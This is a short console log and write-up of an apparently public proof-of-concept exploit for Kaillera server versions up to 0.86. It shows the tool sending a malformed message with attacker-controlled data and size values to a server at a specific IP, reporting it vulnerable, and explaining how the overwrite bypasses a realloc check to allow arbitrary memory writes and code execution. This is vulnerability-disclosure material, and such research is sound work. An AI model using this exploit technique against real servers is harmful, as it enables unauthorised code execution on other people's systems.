C:\Users\bugmenot>kailleraex.exe 62.141.42.126

Kaillera <= 0.86 possible code execution 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org

- target 62.141.42.126 : 27888
- connect to port 42065
- send malformed message:
data = 0x62626262
data_size = 0x63636363
- check server:

Server IS vulenrable!!!

With the overwriting of YYYY we can bypass the first check made by the
function at offset 004016f0 which does a realloc of the buffer if
needed since we control the current allocated size and then we can
decide where copying the rest of our message in the memory of the
server since the address of data XXXX is controlled by us too.
That leads to the possibility of executing malicious code.